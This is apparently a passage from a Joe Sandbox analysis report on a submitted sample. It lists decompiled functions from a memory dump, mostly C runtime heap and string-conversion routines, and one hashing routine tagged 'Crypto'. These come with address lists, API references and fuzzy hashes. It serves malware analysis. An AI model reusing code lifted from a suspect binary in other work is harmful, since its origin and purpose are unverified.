				return E00F37A82(_v8 ^ _t487);
			}



















































































































    0x00f22f59
    0x00f22f60
    0x00f22f65
    0x00f22f6b
    0x00f22f6e
    0x00f22f70
    0x00f22f73
    0x00f22f79
    0x00f22f7c
    0x00f22f84
    0x00f22f8c
    0x00f22f95
    0x00f22f9e
    0x00f22fa7
    0x00f22faa
    0x00f22fb3
    0x00f22fbc
    0x00f22fc5
    0x00f22fce
    0x00f22fd7
    0x00f22fe0
    0x00f22fe9
    0x00f22ff2
    0x00f22ffb
    0x00f23004
    0x00f2300d
    0x00f23010
    0x00000000
    0x00f23016
    0x00f23019
    0x00f2301b
    0x00f2301f
    0x00f23024
    0x00f23026
    0x00f23029
    0x00f2302b
    0x00f2302f
    0x00f23031
    0x00f23035
    0x00f23035
    0x00f23038
    0x00f2303b
    0x00f23043
    0x00f23046
    0x00f23046
    0x00f23055
    0x00f2305b
    0x00f23061
    0x00f23067
    0x00f23073
    0x00f2307c
    0x00f23085
    0x00f2308e
    0x00f23097
    0x00f230a0
    0x00f230a9
    0x00f230b2
    0x00f230bb
    0x00f230c4
    0x00f230c7
    0x00f230cd
    0x00f230d0
    0x00f230e3
    0x00f230e3
    0x00f230e9
    0x00f230eb
    0x00f230ee
    0x00f230f1
    0x00f230f3
    0x00f230f5
    0x00f230f8
    0x00f230fb
    0x00f230fe
    0x00f23101
    0x00f23103
    0x00f23106
    0x00f23108
    0x00f2310e
    0x00f23111
    0x00f23113
    0x00f23116
    0x00f2311b
    0x00f2311d
    0x00f23120
    0x00f23123
    0x00f23126
    0x00f23129
    0x00f2312b
    0x00f2312d
    0x00f23136
    0x00f23139
    0x00f2313b
    0x00f23141
    0x00f23144
    0x00f23146
    0x00f23149
    0x00f2314b
    0x00f23151
    0x00f23153
    0x00f23156
    0x00f23159
    0x00f2315c
    0x00f2315f
    0x00f23161
    0x00f23164
    0x00f23166
    0x00f2316c
    0x00f2316f
    0x00f23171
    0x00f2317a
    0x00f2317d
    0x00f23182
    0x00f23185
    0x00f23187
    0x00f2318d
    0x00f23190
    0x00f23192
    0x00f23195
    0x00f23198
    0x00f2319b
    0x00f2319e
    0x00f231a1
    0x00f231a4
    0x00f231a7
    0x00f231aa
    0x00f231b0
    0x00f231b5
    0x00f231b8
    0x00f231bb
    0x00f231be
    0x00f231c1
    0x00f231c7
    0x00f231cc
    0x00f231cf
    0x00f231d2
    0x00f231d5
    0x00f231d8
    0x00f231db
    0x00f231e6
    0x00f231e9
    0x00f231f2
    0x00f231f4
    0x00f231f6
    0x00f231f9
    0x00f231fb
    0x00f231fe
    0x00f23203
    0x00f23206
    0x00f23208
    0x00f2320a
    0x00f2320d
    0x00f2320f
    0x00f23215
    0x00f2321d
    0x00f2321f
    0x00f23222
    0x00f23225
    0x00f2322b
    0x00f23230
    0x00f23233
    0x00f23235
    0x00f23238
    0x00f2323d
    0x00f23240
    0x00f23242
    0x00f23244
    0x00f2324a
    0x00f2324d
    0x00f23251
    0x00f2325f
    0x00f23261
    0x00f23264
    0x00f23266
    0x00f2326c
    0x00f2326f
    0x00f23271
    0x00f23274
    0x00f23277
    0x00f2327c
    0x00f2327f
    0x00f23281
    0x00f23283
    0x00f23286
    0x00f23289
    0x00f23291
    0x00f23297
    0x00f2329a
    0x00f2329e
    0x00f2329e
    0x00f232a5
    0x00f232ab
    0x00000000
    0x00000000
    0x00f230e0
    0x00f230e0
    0x00f232b1
    0x00f232c7
    0x00f232d9
    0x00f232ed
    0x00f232fc
    0x00f2330b
    0x00f2331a
    0x00f23329
    0x00f23338
    0x00f2335f
    0x00f23377
    0x00f2337a
    0x00f2338c
    0x00f23393
    0x00f23396
    0x00f2339c
    0x00f233a2
    0x00f233b0
    0x00f233b3
    0x00f233bb
    0x00f233c1
    0x00f233c7
    0x00f233cd
    0x00f233d3
    0x00f233d9
    0x00f233df
    0x00f233e5
    0x00f233eb
    0x00f233f1
    0x00f233f4
    0x00f233fa
    0x00f233fd
    0x00f23400
    0x00f23403
    0x00f23406
    0x00f23409
    0x00f2340f
    0x00f23414
    0x00f23417
    0x00f2341a
    0x00f2341d
    0x00f23420
    0x00f23423
    0x00f23426
    0x00f23428
    0x00000000
    0x00f23428
    0x00f23430
    0x00f23432
    0x00f23434
    0x00f23436
    0x00f2343c
    0x00f2343c
    0x00f2343e
    0x00f23441
    0x00f23441
    0x00f23444
    0x00f23447
    0x00f2344a
    0x00f2344d
    0x00f2344d
    0x00f2344d
    0x00f23441
    0x00f23434
    0x00f23452
    0x00f2345e
    0x00f23464
    0x00000000
    0x00f23464
    0x00f23016
    0x00f23467
    0x00f2346c
    0x00f23477

    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: f3b1bfb78b2f698d6157febad8045cf019b336ba68c9e1a75a34bda3210240b6
    • Instruction ID: 34da6317a58f184ee544e47d8bdcc4c80e8a098a8ce2ea5653453d0f84b8be60
    • Opcode Fuzzy Hash: f3b1bfb78b2f698d6157febad8045cf019b336ba68c9e1a75a34bda3210240b6
    • Instruction Fuzzy Hash: 541242B5E102288FDB54CFA9C980A8DFBF1BF48314F6581AAD809EB305D774AA45CF54
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F23D50 Relevance: .1, Instructions: 115COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 35%
    			E00F23D50(void* __ebx, intOrPtr* __ecx, unsigned int __edx, void* __edi, void* __esi) {
				signed int _v8;
				char _v72;
				signed int _v76;
				signed int _t19;
				char* _t21;
				intOrPtr _t45;
				char _t47;
				intOrPtr _t48;
				signed int _t51;
				intOrPtr* _t53;
				void* _t54;
				signed int _t55;
				unsigned int _t65;
				void* _t68;
				intOrPtr* _t69;
				signed char* _t70;
				void* _t72;
				signed int _t74;
				signed int _t76;
				signed int _t77;
				signed int _t80;
				void* _t81;
				void* _t82;
				signed int _t84;

				_t53 = __ecx;
				_t19 =  *0xf4a004; // 0x355216d4
				_v8 = _t19 ^ _t84;
				_t80 = __edx;
				_t21 =  &_v72;
				_t68 = 0x40;
				do {
					 *_t21 = 0;
					_t21 = _t21 + 1;
					_t68 = _t68 - 1;
				} while (_t68 != 0);
				_t69 =  &_v72;
				_t51 = __edx >> 2;
				_t74 = _t51;
				if(_t74 != 0) {
					do {
						_t48 =  *_t53;
						_t53 = _t53 + 4;
						 *_t69 = _t48;
						_t69 = _t69 + 4;
						_t74 = _t74 - 1;
					} while (_t74 != 0);
				}
				_t76 = _t80 & 0x00000003;
				if(_t76 != 0) {
					_t72 = _t69 - _t53;
					do {
						_t47 =  *_t53;
						_t53 = _t53 + 1;
						 *((char*)(_t72 + _t53 - 1)) = _t47;
						_t76 = _t76 - 1;
					} while (_t76 != 0);
				}
				_t54 = 0;
				if(_t80 > 0) {
					do {
						_t45 =  *((intOrPtr*)(_t84 + _t54 - 0x44));
						if(_t45 >= 0x41 && _t45 <= 0x5a) {
							 *((char*)(_t84 + _t54 - 0x44)) = _t45 + 0x20;
						}
						_t54 = _t54 + 1;
					} while (_t54 < _t80);
				}
				_v76 = _t80;
				_t70 =  &_v72;
				_t77 = 0x5b2d;
				if(_t80 >= 4) {
					_t80 = _t80 +  ~_t51 * 4;
					asm("o16 nop [eax+eax]");
					do {
						_t65 =  *_t70 * 0x5bd1e995;
						_t70 =  &(_t70[4]);
						_t77 = _t77 * 0x5bd1e995 ^ (_t65 >> 0x00000018 ^ _t65) * 0x5bd1e995;
						_t51 = _t51 - 1;
					} while (_t51 != 0);
				}
				_t55 = 0;
				_t81 = _t80 - 1;
				if(_t81 == 0) {
					L20:
					_t55 = _t55 ^  *_t70 & 0x000000ff;
				} else {
					_t82 = _t81 - 1;
					if(_t82 == 0) {
						L19:
						_t55 = _t55 ^ (_t70[1] & 0x000000ff) << 0x00000008;
						goto L20;
					} else {
						if(_t82 == 1) {
							_t55 = (_t70[2] & 0x000000ff) << 0x10;
							goto L19;
						}
					}
				}
				return E00F37A82(_v8 ^ _t84);
			}



























    0x00f23d50
    0x00f23d56
    0x00f23d5d
    0x00f23d61
    0x00f23d63
    0x00f23d67
    0x00f23d70
    0x00f23d70
    0x00f23d73
    0x00f23d74
    0x00f23d74
    0x00f23d7c
    0x00f23d7f
    0x00f23d82
    0x00f23d86
    0x00f23d88
    0x00f23d88
    0x00f23d8a
    0x00f23d8d
    0x00f23d8f
    0x00f23d92
    0x00f23d92
    0x00f23d88
    0x00f23d99
    0x00f23d9c
    0x00f23d9e
    0x00f23da0
    0x00f23da0
    0x00f23da2
    0x00f23da5
    0x00f23da9
    0x00f23da9
    0x00f23da0
    0x00f23dae
    0x00f23db2
    0x00f23db4
    0x00f23db4
    0x00f23dba
    0x00f23dc2
    0x00f23dc2
    0x00f23dc6
    0x00f23dc7
    0x00f23db4
    0x00f23dcb
    0x00f23dce
    0x00f23dd1
    0x00f23dd9
    0x00f23ddf
    0x00f23de6
    0x00f23df0
    0x00f23df0
    0x00f23df6
    0x00f23e0c
    0x00f23e0e
    0x00f23e0e
    0x00f23df0
    0x00f23e13
    0x00f23e16
    0x00f23e19
    0x00f23e35
    0x00f23e38
    0x00f23e1b
    0x00f23e1b
    0x00f23e1e
    0x00f23e2c
    0x00f23e33
    0x00000000
    0x00f23e20
    0x00f23e23
    0x00f23e29
    0x00000000
    0x00f23e29
    0x00f23e23
    0x00f23e1e
    0x00f23e94

    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID:
    • API String ID:
    • Opcode ID: ea5f01f968c9beb58398dc32a751a0322074af312b08c56f22e981280888269c
    • Instruction ID: 926ea06b86eff78e6d7c9ef13f5bdcfd59538b37d2eb87d4e3d38e877a7914d7
    • Opcode Fuzzy Hash: ea5f01f968c9beb58398dc32a751a0322074af312b08c56f22e981280888269c
    • Instruction Fuzzy Hash: C7318C72F000680BCB1D8F3CAA6517AFFA69B87220B49117EC846CF381E438DA069394
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3D08B Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3D08B(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0xf4a648) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E00F3AD7D(_t46);
							E00F3CC4A( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E00F3AD7D(_t47);
							E00F3CD48( *((intOrPtr*)(_t74 + 0x88)));
						}
						E00F3AD7D( *((intOrPtr*)(_t74 + 0x7c)));
						E00F3AD7D( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E00F3AD7D( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E00F3AD7D( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E00F3AD7D( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E00F3AD7D( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E00F3D1FE( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t55 = _t74 + 0xa0;
				_v8 = _t28;
				_t70 = _t74 + 0x28;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0xf4a638) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E00F3AD7D(_t31);
							E00F3AD7D( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E00F3AD7D(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E00F3AD7D(_t74);
			}















    0x00f3d093
    0x00f3d097
    0x00f3d09f
    0x00f3d0a8
    0x00f3d0ad
    0x00f3d0b4
    0x00f3d0bc
    0x00f3d0c4
    0x00f3d0cf
    0x00f3d0d5
    0x00f3d0d6
    0x00f3d0de
    0x00f3d0e6
    0x00f3d0f1
    0x00f3d0f7
    0x00f3d0fb
    0x00f3d106
    0x00f3d10c
    0x00f3d0ad
    0x00f3d10d
    0x00f3d115
    0x00f3d128
    0x00f3d13b
    0x00f3d149
    0x00f3d154
    0x00f3d159
    0x00f3d162
    0x00f3d16a
    0x00f3d16b
    0x00f3d171
    0x00f3d174
    0x00f3d177
    0x00f3d17e
    0x00f3d180
    0x00f3d184
    0x00f3d18c
    0x00f3d193
    0x00f3d199
    0x00f3d19a
    0x00f3d19a
    0x00f3d1a1
    0x00f3d1a3
    0x00f3d1a8
    0x00f3d1b0
    0x00f3d1b5
    0x00f3d1b6
    0x00f3d1b6
    0x00f3d1b9
    0x00f3d1bc
    0x00f3d1bf
    0x00f3d1c2
    0x00f3d1c2
    0x00f3d1d4

    APIs
    • ___free_lconv_mon.LIBCMT ref: 00F3D0CF
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CC67
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CC79
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CC8B
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CC9D
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CCAF
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CCC1
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CCD3
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CCE5
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CCF7
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CD09
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CD1B
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CD2D
      • Part of subcall function 00F3CC4A: _free.LIBCMT ref: 00F3CD3F
    • _free.LIBCMT ref: 00F3D0C4
      • Part of subcall function 00F3AD7D: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?), ref: 00F3AD93
      • Part of subcall function 00F3AD7D: GetLastError.KERNEL32(?,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?,?), ref: 00F3ADA5
    • _free.LIBCMT ref: 00F3D0E6
    • _free.LIBCMT ref: 00F3D0FB
    • _free.LIBCMT ref: 00F3D106
    • _free.LIBCMT ref: 00F3D128
    • _free.LIBCMT ref: 00F3D13B
    • _free.LIBCMT ref: 00F3D149
    • _free.LIBCMT ref: 00F3D154
    • _free.LIBCMT ref: 00F3D18C
    • _free.LIBCMT ref: 00F3D193
    • _free.LIBCMT ref: 00F3D1B0
    • _free.LIBCMT ref: 00F3D1C8
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
    • String ID:
    • API String ID: 161543041-0
    • Opcode ID: aedd5745927480bbb9c47f23129d01295d87a8f0aac5be1364ff5a33cee38459
    • Instruction ID: 09024362d1f45d10ab7effb868eb65b9fac4f7381589bf4b12300b4534445a8f
    • Opcode Fuzzy Hash: aedd5745927480bbb9c47f23129d01295d87a8f0aac5be1364ff5a33cee38459
    • Instruction Fuzzy Hash: CC319A71A007049FEB24AE39EC45B5AB3E8AF00371F10452AF49AD7561DF39AC80EB61
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3B1A6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3B1A6(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0xf44c98) {
					E00F3AD7D(_t52);
					_t26 = _a4;
				}
				E00F3AD7D( *((intOrPtr*)(_t26 + 0x3c)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x30)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x34)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x38)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x28)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x2c)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x40)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x44)));
				E00F3AD7D( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E00F3B06C(5,  &_v8);
				_v8 =  &_a4;
				return E00F3B0BC(4,  &_v8);
			}




    0x00f3b1ac
    0x00f3b1af
    0x00f3b1b7
    0x00f3b1ba
    0x00f3b1bf
    0x00f3b1c2
    0x00f3b1c6
    0x00f3b1d1
    0x00f3b1dc
    0x00f3b1e7
    0x00f3b1f2
    0x00f3b1fd
    0x00f3b208
    0x00f3b213
    0x00f3b221
    0x00f3b229
    0x00f3b232
    0x00f3b23a
    0x00f3b24e

    APIs
    • _free.LIBCMT ref: 00F3B1BA
      • Part of subcall function 00F3AD7D: RtlFreeHeap.NTDLL(00000000,00000000,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?), ref: 00F3AD93
      • Part of subcall function 00F3AD7D: GetLastError.KERNEL32(?,?,00F3CDDF,?,00000000,?,00000000,?,00F3CE06,?,00000007,?,?,00F3D223,?,?), ref: 00F3ADA5
    • _free.LIBCMT ref: 00F3B1C6
    • _free.LIBCMT ref: 00F3B1D1
    • _free.LIBCMT ref: 00F3B1DC
    • _free.LIBCMT ref: 00F3B1E7
    • _free.LIBCMT ref: 00F3B1F2
    • _free.LIBCMT ref: 00F3B1FD
    • _free.LIBCMT ref: 00F3B208
    • _free.LIBCMT ref: 00F3B213
    • _free.LIBCMT ref: 00F3B221
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: _free$ErrorFreeHeapLast
    • String ID:
    • API String ID: 776569668-0
    • Opcode ID: d02a2dc3f53c78662504780d33208098c52858d5ed1ed725642d87cc4cf22166
    • Instruction ID: 4703253ae05f18e547504065fda0736dfc94ec4e185fa871acb9368f22233c06
    • Opcode Fuzzy Hash: d02a2dc3f53c78662504780d33208098c52858d5ed1ed725642d87cc4cf22166
    • Instruction Fuzzy Hash: 9611D476100408BFCB09EF55CC82DDD3BA5EF043A1F0141A5BA998F632DB36EA50AF81
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3E5A3 Relevance: 12.2, APIs: 8, Instructions: 216COMMON
    Download Yara Rule
    C-Code - Quality: 69%
    			E00F3E5A3(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				int _t58;
				signed int _t60;
				short* _t62;
				signed int _t66;
				short* _t70;
				int _t71;
				int _t78;
				short* _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				int _t98;
				short* _t101;
				int _t103;
				signed int _t106;
				short* _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0xf4a004; // 0x355216d4
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E00F3EDAC(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *( *_a4 + 8);
					_a32 = _t98;
				}
				_t54 = MultiByteToWideChar(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E00F37A82(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E00F3CFEE(_t81);
							goto L38;
						}
						_t58 = MultiByteToWideChar(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E00F3C5E7(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0);
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E00F3CFEE(_t101);
									goto L36;
								}
								_t62 = E00F3C5E7(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 = WideCharToMultiByte(_a32, 0, _t101, _t105, ??, ??, ??, ??);
								__eflags = _t105;
								if(_t105 != 0) {
									E00F3CFEE(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E00F3ADB7(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 =  &(_t101[4]);
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E00F417D0();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E00F3C5E7(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E00F3ADB7(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 =  &(_t81[4]);
						goto L14;
					}
					asm("sbb eax, eax");
					E00F417D0();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}


























    0x00f3e5a8
    0x00f3e5a9
    0x00f3e5aa
    0x00f3e5b1
    0x00f3e5b5
    0x00f3e5b6
    0x00f3e5bc
    0x00f3e5c2
    0x00f3e5c8
    0x00f3e5cb
    0x00f3e5cb
    0x00f3e5ce
    0x00f3e5d0
    0x00f3e5d0
    0x00f3e5ce
    0x00f3e5d2
    0x00f3e5d7
    0x00f3e5de
    0x00f3e5e1
    0x00f3e5e1
    0x00f3e5fd
    0x00f3e603
    0x00f3e608
    0x00f3e79b
    0x00f3e7ae
    0x00f3e60e
    0x00f3e60e
    0x00f3e611
    0x00f3e616
    0x00f3e61a
    0x00f3e66e
    0x00f3e66e
    0x00f3e670
    0x00f3e672
    0x00f3e790
    0x00f3e790
    0x00f3e792
    0x00f3e793
    0x00000000
    0x00f3e799
    0x00f3e683
    0x00f3e689
    0x00f3e68b
    0x00000000
    0x00000000
    0x00f3e691
    0x00f3e6a3
    0x00f3e6a8
    0x00f3e6ac
    0x00000000
    0x00000000
    0x00f3e6b9
    0x00f3e6f3
    0x00f3e6f6
    0x00f3e6f9
    0x00f3e6fb
    0x00f3e6fd
    0x00f3e6ff
    0x00f3e74b
    0x00f3e74b
    0x00f3e74d
    0x00f3e74d
    0x00f3e74f
    0x00f3e789
    0x00f3e78a
    0x00000000
    0x00f3e78f
    0x00f3e763
    0x00f3e768
    0x00f3e76a
    0x00000000
    0x00000000
    0x00f3e76e
    0x00f3e76f
    0x00f3e770
    0x00f3e773
    0x00f3e7af
    0x00f3e7b2
    0x00f3e775
    0x00f3e775
    0x00f3e776
    0x00f3e776
    0x00f3e783
    0x00f3e785
    0x00f3e787
    0x00f3e7b8
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3e787
    0x00f3e701
    0x00f3e704
    0x00f3e706
    0x00f3e708
    0x00f3e70a
    0x00f3e70d
    0x00f3e712
    0x00f3e72d
    0x00f3e72f
    0x00f3e739
    0x00f3e73b
    0x00f3e73c
    0x00f3e73e
    0x00000000
    0x00000000
    0x00f3e740
    0x00f3e746
    0x00f3e746
    0x00000000
    0x00f3e746
    0x00f3e714
    0x00f3e716
    0x00f3e71a
    0x00f3e71f
    0x00f3e721
    0x00f3e723
    0x00000000
    0x00000000
    0x00f3e725
    0x00000000
    0x00f3e725
    0x00f3e6bb
    0x00f3e6c0
    0x00000000
    0x00000000
    0x00f3e6c6
    0x00f3e6c8
    0x00000000
    0x00000000
    0x00f3e6df
    0x00f3e6e4
    0x00f3e6e8
    0x00000000
    0x00000000
    0x00000000
    0x00f3e6ee
    0x00f3e621
    0x00f3e623
    0x00f3e625
    0x00f3e62d
    0x00f3e64c
    0x00f3e64e
    0x00f3e658
    0x00f3e65a
    0x00f3e65b
    0x00f3e65d
    0x00000000
    0x00000000
    0x00f3e663
    0x00f3e669
    0x00f3e669
    0x00000000
    0x00f3e669
    0x00f3e631
    0x00f3e635
    0x00f3e63a
    0x00f3e63e
    0x00000000
    0x00000000
    0x00f3e644
    0x00000000
    0x00f3e644

    APIs
    • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,00F3C13A,00000000,?,?,?,00F3E7F4,?,?,00000100), ref: 00F3E5FD
    • __alloca_probe_16.LIBCMT ref: 00F3E635
    • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00F3E7F4,?,?,00000100,5EFC4D8B,?,?), ref: 00F3E683
